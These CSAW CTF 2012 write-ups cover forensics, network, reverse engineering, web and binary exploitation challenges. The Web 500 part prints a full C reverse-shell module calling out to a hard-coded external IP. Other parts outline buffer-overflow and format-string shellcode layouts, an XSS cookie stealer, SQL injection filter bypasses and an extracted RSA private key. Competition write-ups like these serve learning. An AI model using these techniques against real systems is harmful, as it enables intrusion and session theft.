• # CSAW CTF 2012: for200-500/net100-200/re100-400/web100-300/web600 writeups

Written by Pierre Bourdon
2012-10-01 00:00:00

## for200 (1)

When you decode the chunks of the PNG file individually only one has a CRC error. It contains text which is the key to submit.

## for200 (2)

When you decode the chunks of the PNG file individually only one text chunk has no CRC error. It contains text which is the key to submit.

## for500

strings

## net100

Open with Wireshark, "Follow TCP Stream" and notice a password being sent to a telnet server. This is the key.

## net200

Find the POST request to a <form> on the New York bar website. The text sent with that form contains the key.

## re100

Open the executable with IDA, notice a function that does c XOR 0xFF on every byte of a string, locate the string, apply the xor, get the key.

## re200

Open the executable with Reflector, notice a function that does a XOR once again, reverse the operation, get the key.

## re300

A bit more complicated this time: the decryption function needs a key, and the only thing we know is that the MD5 of the key is ff97a9fdede09eaf6e1c8ec9f6a61dd5. A Google Search tells us that this is MD5(Intel). This is still not the final key: the program uses that to decrypt a buffer using AES. Doing the same gives us the key to submit.

## re400

Open the binary with IDA, notice a decrypt function that does NOT c, locate the string, apply the NOT, get the key.

## web200

The SQL query allows us to inject something mysqli_real_escape'd in a LIKE clause, including % and _. We can use that to select multiple users and have one matching the $auth condition (valid password, we register him) and one matching the $admin condition (username == Administrator).

## web300

There is an SQL injection on the horses.php page. You can't normally use the select or union keywords (blacklisted), but if there is an equal sign before the keyword in the request it somehow works. From there we listed the tables in INFORMATION_SCHEMA, found a sessions table containing a session for the admin user, used it to get the key. This was not the way the author expected people to solve his exercise and this bug was fixed during CTF.

## web600

In PHP strcmp/strcasecmp with an array fails and returns 0. We can use that to bypass the check and get the key to be printed.

• # CSAW CTF 2012: Web 500 writeup

Written by Pierre Bourdon
2012-10-01 00:00:00

Web 500 was a webpage with a small UI sending AJAX commands to a backend. These commands were either some UNIX commands (uname -a, uptime, ...) or something that looked like a heartbeat check for an external service.

Our first idea was obviously to inject UNIX commands but the backend seemed to have a very restrictive whitelist, allowing only the commands that were exposed by the UI and nothing else (not even adding options to the commands worked).

The heartbeat check sent a JSON command which looked like this:

 1 2 3 4 { "message": "extenderp", "extenderpurl": "http://127.0.0.1:8080/test/extenderptest.node" } 

It turns out we can download this extenderptest.node file from the web server using the same URL. It was a simple NodeJS C++ module exporting a single test function which returned a string. This lead us to think the extenderp message actually downloaded the NodeJS module from the URL and executed its test module. We checked if the extenderpurl could point to the external world, and sure enough the web server tried to download a file from our server!

The last step was then to write a NodeJS module which allowed us to get the key from the server. I choose to implement a fork/connect/dup2/execve exploit in the test function:

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include #include #include #include #include #include #include using namespace node; using namespace v8; extern "C" { static Handle test(const Arguments& args) { if (!fork()) { int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in connaddr; memset(&connaddr, 0, sizeof (connaddr)); connaddr.sin_family = AF_INET; connaddr.sin_addr.s_addr = inet_addr("176.9.97.190"); connaddr.sin_port = htons(12345); connect(fd, (sockaddr*)&connaddr, sizeof (connaddr)); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); char* argv[] = { "/bin/sh", NULL }; execve("/bin/sh", argv, NULL); exit(0); } v8::HandleScope scope; return v8::String::New("Connectback should have happened"); } static void init(Handle

We uploaded that NodeJS module and used the extenderp command to get it to be run on the server, which worked very well! We were able to get shell access on the server and find the key for this challenge.

• # CSAW CTF 2012: exploitation 200/300/400/500 writeups

Written by Samuel Chevet
2012-10-01 00:00:00

## Exploitation 200

This challenge is a linux elf32 wich listen on port 54321.

Each time a new client connect, it sends a message of welcome, and wait for receiving 512 bytes of data, those data are compared to the string : "A" * 26 + "\n", if it match the challenge will open the file "key" and send it to us.

The key is : "b3ee1f0fff06f0945d7bb018a8e85127"

## Exploitation 300

This challenge is a linux elf32 which listen on port 4842. The binary will setup handler on differents signals, the most interesting one, is SIGSYS(0x1F), after a client connect and send a message of welcome, it will raise this signal, the handler will send an another message, and read 2048 bytes of data into a buffer of 326 bytes on the stack. It's clearly a simple stack based buffer overflow. And a fun thing is :

 1 2 > readelf -l ./bin | grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4 

The stack is executable, so let's search some fun gadgets like jmp esp :

 1 2 > rasm2 "jmp esp" ffe4 

This gadget can be found inside section .eh_frame_hdr (0x08048F47). So the payload is really simple and look like this :

 1 "A" * 326 + Addr_return (JMP ESP) + Shellcode (dup2 + excve(/bin/sh)) 

They changed the binary before we wrote this writeup, so our exploit does not work anymore and we don't remember the key.

## Exploitation 400

This challenge is a linux elf32 wich listen on port 23456.

The vulnerability is inside function sdoomsday() (There is symbol inside the binary ...), it receive 511 bytes into .bss section and use this buffer for sprintf without format for filling a buffer on the stack. It's a simply format string vulnerability.

A nice thing is that .bss section is executable, so the payload will be :

 1 | JMP AFTER FORMAT | FORMAT | NOP | SHELLCODE 

What we will have to do is replacing address of a function inside got section called just after sprintf (for exemple send wich is called inside cd() function). An another fun trick is inside ssc function, it check if inside the buffer there is the pattern :

  1 2 3 4 5 6 7 8 9 10 /bin/sh /usr/bin/es /usr/bin/ksh /bin/ksh /usr/bin/rc /usr/bin/esh /bin/dash /bin/bash /bin/rbash h//shh/bin 

Just xor your shellcode and add a stub at the beginning for dexoring it.

The key is : "What_a_simple_filter_that_was"

## Exploitation 500

This is the last exploitation challenge, it is as usual a linux elf32 wich listen on port 12345.

The first thing the program do is receiving 124 bytes, and check if in this buffer there is the pattern :

 1 2 3 4 5 6 CPE1704TKS IMSAI 8080 microcomputer WORP Galaga Pencil Tic-Tac-Toe 

And then receive 1024 bytes, but the return value of recv() will be the size of a memcpy() into a buffer too small, so it is a simply stack based buffer overflows. We can overwrite easily the return address by the adress of receive and forge the stack like :

 1 2 3 4 5 6  +0xBC : New Return Address : 0x08048760 # .plt recv() +0xC0 : Return Address recv : 0x0804B000 # .bss section +0xC4 : File Descriptor : 0x4 # socket client +0xC8 : Buffer : 0x0804B000 # .bss section +0xCC : Size : 0x54 # Size Shellcode +0xD0 Flags : 0x0 # who care ? 

We send the same shellcode as usual dup2 + execve(/bin/sh), and enjoy our shell.

The key is "Something_different_from_strcpy"

• # CSAW CTF 2012: Reverse Engineering 500 writeup

Written by Pierre Bourdon
2012-10-01 00:00:00

This reverse engineering challenge presented us with two binary files: 8086100f.mrom and 8086100f.mrom.tmp. Looking through the strings we quickly noticed the MROM file is a PXE ROM for an Intel e1000e network card, based on iPXE (an open source PXE ROM with a lot of useful features). Very nice coincidence for us: a member of our team (Marin Hannache) was a GSoC student working on iPXE during this last summer, which helped us a lot in understanding what this challenge was about.

iPXE allows the user to embed a script that is automatically run at boot time, in order to download file, send a query to a web server, get an IP from a DHCP server, or a lot of other possible actions. Looking a bit more in the strings of the MROM file we saw something that is likely to be a boot script for iPXE:

 1 2 3 4 5 6 7 #!ipxe :retry dhcp || goto retry prompt --key 0x03 --timeout 5000 (Quick, Quick!) Press CTRL+C for GDB UDP stub && gdbstub udp net0 || kernel https://secure-doomsday-client-loader.c0.cx/boot/vmlinuz initrd https://secure-doomsday-client-loader.c0.cx/boot/initrd.gz?include_flag=0 boot 

If the user do not press Ctrl+C to interrupt the boot sequence, iPXE will download a kernel and an initrd from an HTTPS server and boot using these files. The initrd seems very interesting with its include_flag query argument, so we tried to download it locally, setting include_flag=1:

 1 2 3 4 5 6 7 8 $wget --no-check-certificate "https://secure-doomsday-client-loader.c0.cx/boot/initrd.gz?include_flag=1" --2012-09-30 16:43:56-- https://secure-doomsday-client-loader.c0.cx/boot/initrd.gz?include_flag=1 Resolving secure-doomsday-client-loader.c0.cx... 128.238.66.211 Connecting to secure-doomsday-client-loader.c0.cx|128.238.66.211|:443... connected. WARNING: cannot verify secure-doomsday-client-loader.c0.cx's certificate, issued by ‘/C=YO/ST=LO/L=None/O=None/OU=None’: Self-signed certificate encountered. HTTP request sent, awaiting response... 400 Bad Request 2012-09-30 16:43:57 ERROR 400: Bad Request.  At first we thought the challenge was down, so we waited a bit, but the request was always failing. We then realized that some of the other strings in that file mentioned an OpenSSL Generated Certificate. The server was probably waiting for a query performed with a valid SSL client certificate/key pair, which was most likely embedded in the iPXE rom. After generating certificates and keys with OpenSSL and trying to match what was in the ROM with the DER format certificates we generated, we were able to extract a certificate and an RSA key from it:   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 $ openssl x509 -in chall.crt -inform DER -----BEGIN CERTIFICATE----- MIIDhzCCAm+gAwIBAgICEAAwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCWU8x CzAJBgNVBAgMAkxPMQ0wCwYDVQQHDAROb25lMQ0wCwYDVQQKDAROb25lMQ0wCwYD VQQLDAROb25lMB4XDTEyMDkwNTIyMzU1OVoXDTEyMTIwNDIyMzU1OVowSTELMAkG A1UEBhMCWU8xCzAJBgNVBAgMAkxPMQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDARO b25lMQ8wDQYDVQQDDAZjbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQDTp0cg6VHOUL0VIzcGic14TrZ0SsIvuwhkGX1d/qmmg+LL5nP0O0gRK+TF o42go5bCpCicnX3t13U5Pt8bCVyQTYaGaWiYf2v3z4/D3jd0ar6ENW2lwD5u9o/S cNfap24f2SJfDY70JR7bnd6CRimDIAj2Kjw2lEklQj2aGknX/cv3R1jL1C1PFehD 0zdi1TcXZU21acAVGkQpaSHKg4ufRk0xEE41RsieOusICHJcS4uM4bnZ2ThJhmR0 wj7/ld3iEOn5hD6dN9GY4vkqspIObOTgF50qhNVthN9HRzZUuyRxVCo95n+QvsjM BpfK8SXQiWCVL8XHLxdRn8Fc8o0XAgMBAAGjezB5MAkGA1UdEwQCMAAwLAYJYIZI AYb4QgENBB8WHU9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQW BBQ8byvWA23f0DM/awb8AXB5sTqD9jAfBgNVHSMEGDAWgBSLfrxvYsZ1DUoH78PW dswZHqu6czANBgkqhkiG9w0BAQUFAAOCAQEAN3/0hNnCFZ7IgbiZjjzEPv/qBU5B teP7cm9M1Zr3MAF6L0+f6FDEjYCrKLEyiz4KKe9p0aUXiwvFiv8olQFhrybVDXjD dCgex8wC3aIzGurnpKCrINUM3ZYY9ukd2JX1dZGsbK/dKiPQZRsBpnWnMI2ZBx9W 1z2TUtAGAEpB5hDdud9mlQBdgSMh7mxCnTQtIUkKZp7JEeyuRwoifdWCGldyn0kW Yn3JMaY0iWE/T50+vqTxrhbB26u4IGzMW7FhHG8BDRpbnycpnQWLPDi1RyLVruyj Q6/xX6JfJZBcPpQ1N885BguEwS9XVW0jcvTHNSaYK31u6XA6BRTvm+yNMA== -----END CERTIFICATE----- \$ openssl rsa -in chall.key -inform DER writing RSA key -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA06dHIOlRzlC9FSM3BonNeE62dErCL7sIZBl9Xf6ppoPiy+Zz 9DtIESvkxaONoKOWwqQonJ197dd1OT7fGwlckE2GhmlomH9r98+Pw943dGq+hDVt pcA+bvaP0nDX2qduH9kiXw2O9CUe253egkYpgyAI9io8NpRJJUI9mhpJ1/3L90dY y9QtTxXoQ9M3YtU3F2VNtWnAFRpEKWkhyoOLn0ZNMRBONUbInjrrCAhyXEuLjOG5 2dk4SYZkdMI+/5Xd4hDp+YQ+nTfRmOL5KrKSDmzk4BedKoTVbYTfR0c2VLskcVQq PeZ/kL7IzAaXyvEl0IlglS/Fxy8XUZ/BXPKNFwIDAQABAoIBAFMQOyH3b1uA5DP/ dgDi4/hrK7/H9x20UT63ojPZVcs7xy4uayNWgJn8l/PYlCSPDwOkWSvdwyYsgJzO x9BchC89vaXSiHIQz9aZZtp/w1O08MACF94M7HOv4BG+p3fwbY+iL5MORyQZzVpz QnfuASyszdeOC8N/vpUYwgRQfNp+0TTJoGyJOwkVYn6EqSBmIh99UVaKTAPNXpCS RpcACnWQC9LR8asagd3orLQ5KoKjidy7oY5CJxq2hif9X2satxkftqsNxmtlOG6D 4xM7sYgXYH1DQibpNiCRZrAqJ1sDx6DEnOmrQf0U2UBpTKlSNCZYqzX7h9th0AFO dZwFwwECgYEA9NeE1pwBkvXToG76woCzm0nkTX4XzqVjwLFV1c+B/pYg0cwaCcrn PzQCm9IUAt1wvfKRiBiYZZF3FOhkzeQH7QqAsWLalNal0w9xaklI2LzezwbmWNEJ zNjnl2JCnI03xUjk/irWl0B07NqfHbPA8MzLtaEdld15k+87ZzsTTvECgYEA3UyP vAOdBLT8GAQ7W0XU0sTUhWSr0Pezn5kIURBcEm8z9dTwfUxkWDOSGjXRGAcJLkRX YLdDUVtReM9LxUSzQ4k488NyySMPcqzVohROhhS2DVyecOs+Yy2VAc62z2V2IJsN +JKzvjANHttSfA4fRZJN75rmz+TVztbmtjxarIcCgYBEkb8gI1zFfZchDTOpGUYz rUQE99VPCD6hjoiNcqnjVMQoPVLlfy+4IabBYNo92yph5/cd+FVlzJFfB56DkuMt XY2hICA7IsoaC+8lZxTBrlNwA2yrXw+xkOV7HgettFb0J3AKRpEGlwSn+KorNVZJ mfFLEq4odHhCF/O4+3By4QKBgQDRmUop0WJOqvx54sg1UpaYakS/cvIpIfLHHrJ5 1PzfmOOl2uFMS6Zew7mFiaNZFpDjeWco+2qPC+bGfdBOLxt6w+VlO6DkUIi5HGna 8VDOPZ+QWEDYwnZ8iRewdpE/LeIMT8+Tt572a5yBtUkSpm2H/2JBpn0mOp8nIPOz dsaK0QKBgEnVXm4ASylC9GAq7hcuppeXF+IwoxdI1iCDzK9U+n3nAKn/kcIyWE7N i9kXk8O1jRqEARpXaMp/ydWXuwfsjBv6e/R9IR+elkazbbr/dIcpofHunYRtrPwx yasGBlKiMmE6UrRUu/xY+jxG8BQfNNP1gU4ggUhvhtTGoRloRF1E -----END RSA PRIVATE KEY----- 

Using these two files we were able to download the initrd successfully and extract it to find the key in /key.txt.

• # CSAW CTF 2012: Web 400 writeup

Written by Pierre Bourdon
2012-10-01 00:00:00

Note: this article uses MathJax to display formulas written in TeX. Please enable Javascript in order to see the formulas correctly.

Web 400 was an interesting challenge involving web exploits as well as crypto. We had access to a web application which allowed sending messages from a user to another. The twist is that all of these messages were encrypted using an unknown algorithm. When sending a message the user provides a key which is used to encrypt the message.

After analyzing the algorithm a bit (same key and message, trying different key sizes and block sizes, checking if every block is encrypted the same, etc.) we found out that it was some kind of ECB XOR using the key + a constant 64 bits value. This was only true for the first few blocks though: after that another key or another constant value was used. As we'll soon see, this does not matter a lot.

We were able to confirm that this message system is vulnerable to XSS attacks by sending some strings that give HTML tags when encrypted. We just need to encode a cookie stealer and send it to the admin user to gain access to his account.

Now that we know this algorithm uses XOR as its main operation, we can use a very interesting property of this binary operator:

$$Plain \oplus Key = Cipher \Leftrightarrow Plain \oplus Cipher = Key$$

If we send a block using a plaintext P1 and it gives us C1, we can use that property to deduce what we should send to have C2 be what we want:

$$P2 = C2 \oplus Key \Rightarrow P2 = C2 \oplus (P1 \oplus C1)$$

It turns out we can't use that for a whole message because the key seems to depend on the previous blocks plaintexts. We had to construct the message block per block using that technic. When encrypted, our message is:

 1  `

We sent that to the admin and got his session ID transmitted to our server. Using that we were able to login to his account and find some encrypted messages (and their associated key). The first message had a plaintext key when decrypted gave us another encryption key, which we used to decrypt a second message, giving us the final key we had to submit on the CTF website.